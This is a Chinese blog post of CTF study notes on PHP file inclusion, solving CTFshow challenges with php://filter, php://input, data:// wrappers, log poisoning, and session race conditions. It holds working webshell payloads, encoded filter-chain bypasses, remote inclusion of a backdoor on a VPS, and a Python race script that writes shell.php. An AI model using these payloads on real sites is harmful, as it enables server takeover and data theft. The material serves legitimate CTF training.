Web文件包含

已于 2024-05-12 23:03:05 修改
阅读量1k 收藏 11
点赞数 7
分类专栏： WEB笔记 文章标签： web安全 安全 网络攻击模型 网络安全 系统安全
于 2024-05-12 23:02:18 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_49288916/article/details/138770861
版权

文件包含

包含的文件被当作当前的语言去代码执行

漏洞原因：

1.使用文件包含函数

2.包含的文件可控

分类：

1.本地包含：

​ 有文件利用：配合文件上传

​ 无文件利用：

​ 1.包含日志文件

​ 2.包含session文件

​ 3.伪协议利用

2.远程包含：公网服务器自定义文件

差异：代码过滤， allow_url_include配置开关

白盒发现：

包含函数

PHP：include、require、include_once、require_once等

include在包含的过程中如果出现错误，会抛出一个警告，程序继续正常运行

require函数出现错误的时候，会直接报错并退出程序的执行



Java：java.io.File、java.io.FileReader等



ASP.NET：System.IO.FileStream、System.IO.StreamReader等

黑盒发现：主要观察参数传递的数据和文件名是否对应

URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼

伪协议

file://

allow_url_fopen ：off/on

allow_url_include：off/on

file协议读取d盘下123.txt

file:///d:/123.txt

在这里插入图片描述

php://filter

读取源代码并进行base64编码输出，不然会直接当做php代码执行就看不到源代码内容了。

allow_url_fopen ：off/on

allow_url_include：off/on

filter协议读取d盘下的123.txt并用base64编码

php://filter/read=convert.base64-encode/resource=d:/123.txt

在这里插入图片描述

再用解码工具解码还原

在这里插入图片描述

文件写入phpinfo.php

php://filter/write=convert.base64-decode/resource=phpinfo.php&txt=PD9waHAgcGhwaW5mbygpOyA/Pg==

在这里插入图片描述

写入成功

在这里插入图片描述

php://input

可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行

allow_url_fopen ：off/on

allow_url_include：on

执行phpinfo,使用hackbar改成Raw模式,否则不成功

php://input
POST请求
data：<?php phpinfo();?>

在这里插入图片描述

文件写入

php://input
POST请求
data: <?php fputs(fopen('shell.php','w'),'<?php phpinfo(); ?>'); ?>

在这里插入图片描述

访问shell.php

在这里插入图片描述

data://

协议必须双在on才能正常使用；

allow_url_fopen ：on

allow_url_include：on

代码执行

data://text/plain;<?php phpinfo();?>

在这里插入图片描述

Base64在进行解码的时候，是4个字符一组进行解码，因此在使用base64编码绕过该限制的时候，需要自己补一些填充符，让前面需要绕过的字符串组合起来长度是4的倍数

data://text/plain,base64,PD9waHAgcGhwaW5mbygpOyA

在这里插入图片描述

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

在这里插入图片描述

测试网站

本地包含index.php

在这里插入图片描述

本地包含database_connect.php

在这里插入图片描述

CTFshow-78

在这里插入图片描述

解法一：filter/read

使用filter/read读取相对路径下的flag.php

php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

再使用hackbar解码base64，成功拿到flag

在这里插入图片描述

解法二：filter/read

执行php代码查看当前文件

php://input
POST请求
<?php system("ls")?>

在这里插入图片描述

使用tac查看flag.php

php://input
POST请求
<?php system("tac flag.php")?>

在这里插入图片描述

使用tac查看flag.php,页面无回显查看源代码

php://input
POST请求
<?php system("cat flag.php")?>

在这里插入图片描述

解法三：远程包含

vps开启一个http服务并创建一个123.txt后门文件

在这里插入图片描述

包含后门文件

http://vps:5566/123.txt

在这里插入图片描述

使用哥斯拉连接后门，查看flag

在这里插入图片描述

CTFshow-79

过滤php为???

在这里插入图片描述

解法：base64

Base64在进行解码的时候，是4个字符一组进行解码，因此在使用base64编码绕过该限制的时候，需要自己补一些填充符，让前面需要绕过的字符串组合起来长度是4的倍数，所以这里加了很多%2b

data://text/plain,base64,<?php system('ls');?>
data://text/plain,base64,PD9waHAgc3lzdGVtKCdscycpOz8+%2b%2b%2b%2b

在这里插入图片描述

因为Base64刚好是4的倍数就可以不用加

data://text/plain;base64,<?php system('cat flag.php');?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

在这里插入图片描述

查看源代码就可以看见

在这里插入图片描述

CTFshow-80

过滤php和data

在这里插入图片描述

解法：包含日志
file:var/log/nginx/access.log

在这里插入图片描述

通过修改ua头的方式包含日志

<?php system("ls");?>

在这里插入图片描述

file:var/log/nginx/access.log

在这里插入图片描述

<?php system('tac fl0g.php');?>

在这里插入图片描述

包含出flag

在这里插入图片描述

CTFshow-81

过滤php,data,：.

在这里插入图片描述

解法一：包含日志

修改ua头

<?php system("ls")?>

在这里插入图片描述

修改ua头

<?php system('ls');?>

在这里插入图片描述

包含日志，看到目录文件：fl0g.php index.php

file=/var/log/nginx/access.log

在这里插入图片描述

写入查看flag代码到日志

<?php system('tac fl0g.php');?>

在这里插入图片描述

包含日志，得到flag

在这里插入图片描述

解法二：包含日志getshell

ua头中修改为一句话木马

<?php eval($_POST['pass']);?>

在这里插入图片描述

包含日志

file=/var/log/nginx/access.log

在这里插入图片描述

使用蚁剑连接，其他不成功

在这里插入图片描述

CTFshow-82—86

包含SESSION

默认session路径

Linux：
/tmp或/var/lib/php/session
Windows:
C:\WINDOWS\Temp

产生session文件脚本

<!DOCTYPE html>
<html>
<body>
<form action="https://731cab10-587f-45f9-bfb3-e8ae6b9b66b5.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'GIF89a <?php @eval($_POST[pass])?>)'?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

上传任意文件抓包添加cookie

Cookie:PHPSESSID=ctf
<?php fputs(fopen('shell.php','w'),'GIF89a <?php @eval($_POST[pass])?>)'?>

在这里插入图片描述

文件包含session,因为seesion文件会定时清空，所以使用条件竞争

访问包含路径，并抓包放入Intruder里面

/tmp/sess_ctf

在这里插入图片描述

两个数据包都丢到Intruder进行无payload发包，一个不断生成seesion，一个不断访问路径,访问成功就会创建一个shell.php

在这里插入图片描述

没有碰撞成功过，使用python多线程能跑出flag


# 导入必要的库
import io
import sys
import requests
import threading

# 会话ID
sessid = 'Qftm'
http = 'https://'

# 定义POST函数用于上传文件
def POST(session):
    while True:
        # 创建50KB大小的文件对象
        f = io.BytesIO(b'a' * 1024 * 50)
        # 发起POST请求，上传文件并伪造文件内容包含一句PHP一句话木马代码
        session.post(
            http,
            data={
                "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"
            },
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID': sessid}
        )

# 定义READ函数用于读取上传的文件内容
def READ(session):
    while True:
        response = session.get(f'{http}?file=/tmp/sess_{sessid}')
        if 'flag' not in response.text:
            print('[+++]retry')
        else:
            # 若文件内容中包含'flag'则打印内容并退出程序
            print(response.text)
            sys.exit(0)

# 创建会话
with requests.session() as session:
    # 创建并启动线程用于上传文件
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    # 读取上传的文件内容
    READ(session)

在这里插入图片描述

CTFshow-87

解码url，浏览器自动会解码一次，就可以利用这一点绕过

在这里插入图片描述

解法一：Base64
php://filter/write=convert.base64-decode/resource=pass.php

两次URL编码：
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%30%25%36%31%25%37%33%25%37%33%25%32%65%25%37%30%25%36%38%25%37%30

在这里插入图片描述

因为使用content时会被强加"<?php die('大佬别秀了');?>"，解码又会以4的倍数进行解码，会被解码的只有phpdie一共6个字节，在前面加上两个字节就不会影响后面解码，这里我加上zz，后面的编码也得是4的倍数

在这里插入图片描述

POST
content=<?php @eval($_POST[pass]);?>
Base64编码：
content=zzPD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg==

使用hackbar发送POST请求，写入pass.php后门文件

在这里插入图片描述

执行ls命令

在这里插入图片描述

查看flag

在这里插入图片描述

解法二：ROT13（凯撒）
php://filter/write=string.rot13/resource=222.php
两次URL编码：
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%33%32%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30

POST
content=<?php eval($_POST[pass]);?>
ROT13编码：
content=<?cuc riny($_CBFG[cnff]);?>

写入222.php后门文件 在这里插入图片描述

拿到flag

在这里插入图片描述

CTFshow-88—89

解法：data://

过滤PHP，各种符号，只能使用data://

在这里插入图片描述

base64编码

<?php system(ls);?>

Base64:
PD9waHAgc3lzdGVtKGxzKTs/Pg==

去掉==，base64也能解码

在这里插入图片描述

data://text/plain;base64,PD9waHAgc3lzdGVtKGxzKTs/Pg

在这里插入图片描述

Base64编码

<?php system('cat fl0g.php');?>

Base64：
PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTs/Pg==

在这里插入图片描述

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTs/Pg

查看源代码，拿到flag

在这里插入图片描述

CTFshow-117

过滤了凯撒和base64

在这里插入图片描述

解法：convert.iconv.UCS-2LE.UCS-2BE

convert.iconv.：一种过滤器，和使用iconv()函数处理流数据有等同作用

convert.iconv.<input-encoding>.<output-encoding> 
convert.iconv.<原始编码方式>.<目标编码方式> 

file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

编码

ucs-2 二位一反转，字符个数要在偶数位上，ucs-4 四位一反转，字符个数要是4的倍数,下面字符一共28位

<?php @eval($_POST[pass]);?>

但是使用contents之前会强制加上<?php die();?>14个字节，二的倍数可以解码

在这里插入图片描述

使用kali将pass.txt编码

icov -f UCS-2BE -t UCS-2LE pass.txt > pass1.txt

在这里插入图片描述

?<hp pe@av(l_$OPTSp[sa]s;)>?

在这里插入图片描述

contents=?<hp pe@av(l_$OPTSp[sa]s;)>?

在这里插入图片描述

哥斯拉连接上去拿到flag

在这里插入图片描述

用php本地模拟加上<?php die();?>解码后，phpdie被解码成功并扰乱了本身函数

echo iconv("UCS-2LE","UCS-2BE",'<?php die();?>?<hp pe@av(l_$OPTSp[sa]s;)>?');

在这里插入图片描述

强少张
关注
专栏目录
web-文件包含
bingo_csdn的博客
10-29 2285
inclued：出错会继续执行 require：出错会退出 1、本地文件包含： 测试代码1.php如下所示： <?php //初始化.... define（"ROOT"，dirname（__FILE__）.'/'）； //加载模块 $mod = $_GET['mod']； echo ROOT.$mod.'.php'； include（ROOT.$mod.'.php'）； ?> 我们在同目录下2.php写入如下代码： <?php phpinfo();?> 请求/1.php?mod=2即
Web安全-文件包含
sixoneyvye的博客
04-17 464
一、了解文件包含 了解文件包含 什么是文件包含：为了更好地使用代码的重用性，引入了文件包含函数，通过文件包含函数将文件包含进来，直接使用包含文件的代码，简单点来说就是一个文件里面包含另外一个或多个文件。 漏洞成因：文件包含函数加载的参数没有经过过滤或者严格的定义，可以被用户控制，包含其他恶意文件，导致了执行了非预期的代码。 PHP引发文件包含的四个函数 include() ...
web文件包含
YkingH的博客
10-07 1351
文件包含 文件包含漏洞原理 文件包含：程序开发人员通常会把可重复使用的函数写到单个文件中，在使用某些函数时，直接调用此文件，无需再次编写，这种调用过程，称为文件包含。 文件包含漏洞：为使代码更加灵活，会将包含的文件设置为变量，用来进行动态调用，漏洞产生的原因正是函数通过变量引入文件时，没有对传入的文件名进行合理的校验，从而操作了意想之外的文件，导致文件泄露甚至恶意代码注入。 PHP： include(), include_once(), require(), require_once(), fopen(),
WEB安全-文件包含
qq_59350385的博客
03-01 3152
一、文件包含的定义 如果说使用文件包含的路径是攻击者可控的话，此时，我们可以通过控制参数变量从而能包含本不在开发者意愿之内的文件。 本地文件包含：包含服务器端的文件 远程文件包含：包含远程url的文件 （allow_url_fopen allow_url_include） 可以用什么去截断：？ #(%23) 二、文件包含的利用 1.配合文件上传漏洞执行getshell 2.包含日志getshell ...
C#webapi文件上传下载源码
04-08
总的来说，"C# WebAPI文件上传下载源码"是一个包含关键功能实现的代码示例，对于学习如何在C# WebAPI项目中处理文件操作非常有帮助。通过研究这些源码，开发者可以深入理解WebAPI的工作原理，以及如何在实际项目中...
ASP.NET Web Api 2实现多文件打包并下载文件的实例
10-22
在*** Web Api 2中实现多文件打包并下载的功能可以极大地增强Web服务的实用性，尤其是在需要一次性提供多个文件给客户端时。本文将探讨如何利用*** Web Api 2中的ByteArrayContent和StreamContent类，结合第三方库...
Web Api 通过文件流 下载文件到本地实例
12-08
1. **HTTP响应与文件流**: 当客户端（如浏览器）请求一个文件时，服务器端的Web API控制器需要创建一个HTTP响应，该响应包含文件的数据。文件流在这里起着关键作用，它允许我们按需读取文件并将其发送到客户端，而...
CTF之web学习记录 -- 文件包含
热门推荐
lifanxin的博客
05-11 1万+
文件包含概述常见文件包含函数和原理本地文件包含远程文件包含总结 概述   后端编程人员一般会把重复使用的函数写到单个文件中，需要使用时再直接调用此文件即可，因此该过程也就被称为文件包含。文件包含的存在使得开发变得更加灵活和方便，但同时也带了安全问题，导致客户端可以远程调用文件，造成文件包含漏洞。这个漏洞在php中十分常见，其他语言也有。 常见文件包含函数和原理 # php include() // 执行到include时才包含文件，找不到文件产生警告，脚本继续执行 require() // 程序运行就
【CTF WEB】文件包含
weixin_30949361的博客
09-29 553
文件包含 题目要求： 请找到题目中FLAG 漏洞源码 <meta charset='utf-8'> <center><h1>文件阅读器</h1></center> <!-- 据说flag在flag.php里 --> <?php error_reporting(0); $f=$_GET['file']; if(s...
web安全--文件包含（本地包含，远程包含）
nareku的博客
04-05 4505
前言 文件包含漏洞简介： 文件包含的函数的参数没有经过过滤或者是严格的定义，并且参数可以被用户所控制，这样就可能包含非预期的文件。 一.文件包含漏洞常见的函数（默认都以php脚本为准啊） ①include： 包含并运行指定的文件，Include在出错的时候产生警告，脚本会继续运行 ②include_once：在脚本执行期间包含并运行指定文件。该函数和include 函数类似，两者唯一的区别是 使用该函数的时候，php会加检查指定文件是否已经被包含过，如果是，则不会再被包含。 ③require ：
WEB-文件包含
最新发布
weixin_52804141的博客
12-04 147
文件包含
Web安全-文件包含漏洞
道阻且长，行则将至。
02-05 1495
概述 PHP文件包含 文件包含示例 （1）本地包含
CG-CTF-Web-文件包含
1stPeak's Blog
06-22 2672
文件包含 1.查看题目 2.进去查看题目，看到下面第一幅图中的内容，我们点击这个超链接 3.点击上图的超链接后，出现下图所示 4.根据URL与题目名，可以知道这里应该是利用文件包含 （1）首先尝试…/，发现出现下图所示： 源代码也没有什么可以利用的： （2）其实这里利用的是php伪协议，下图是index.php经过base64加密的源码 http://4.chinalover.sinaa...
web文件包含 i春秋 code题目
qq_30435981的博客
07-31 1868
网站链接打开来是一张图片，查看源码是没用的base64码，我们可以利用文件包含读一下index.php这文件的代码，/index.php?jpg=index.php,查看代码是base64码，经过base64-Encode,发现是一段函数。 &lt;?php /** * Created by PhpStorm. * Date: 2015/11/16 * Time: 1:31 */ he...
ctfshow-web文件包含(web78-88,116-117)(Updating)
m0_50268414的博客
11-30 4442
ctfshow-web文件包含(web78-88) 文章目录ctfshow-web文件包含(web78-88)web78 php://filterweb79 data://web80 nginx日志文件+cookie处执行命令web82-86 session 学习了大佬的总结文章：文件包含总结 开始做题 web78 php://filter [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rPvT4HZP-1638275278437)(1wPFzslh6Rk8e34s00DQZ
Web安全之走进文件包含的世界
cncold1的博客
08-10 347
前言俗话说：“知己知彼，方能百战不殆”，今天，小编就带着你们走进文件包含的世界，去进一步的了解它，深入它……………….如有错误，请你雅正！！ 目录第一节初识文件包含漏洞 · 1.1、 什么是包含 · 1.2、 文件包含漏洞是怎样产生的 · 1.3、 文件包含漏洞的分类 第二节 详解PHP文件包含漏洞 · 1.4、解析PHP文件包含 · ...
web漏洞之文件包含
小白的博客
09-28 1040
文件包含 Web应用实现了动态包含 动态包含的文件路径参数,客户端可控 漏洞成因 相关函数 PHP include() 文件包含失败时,会产生警告,脚本会继续运行 include_once() 与 include()功能相同,文件只会被包含一次 require() 文件包含失败时,会产生错误,直接结束脚本执行 require_once() 与 require()功能相同,文件只会被包含一次 fopen() readfile() <?php spat
WEB漏洞—文件包含漏洞
holen_的博客
01-25 2586
介绍 所谓文件包含漏洞，故名思意，就是在文件中包含（引用）了其他文件所导致的漏洞。例如有些函数在不同代码中的作用都是相同的，在这里我们可以称呼它为“变量”，那么这时程序员就会将该“变量”放在一个文件中，在其他代码中引用该变量文件即可。 当这种灵活性通过动态变量的方式引入需要包含的文件时，用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。 脚本利用 我们先创建一个带有文件包含脚本的PHP文件放在服务器上，代码如下 <?php $filename=$_GET['file
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值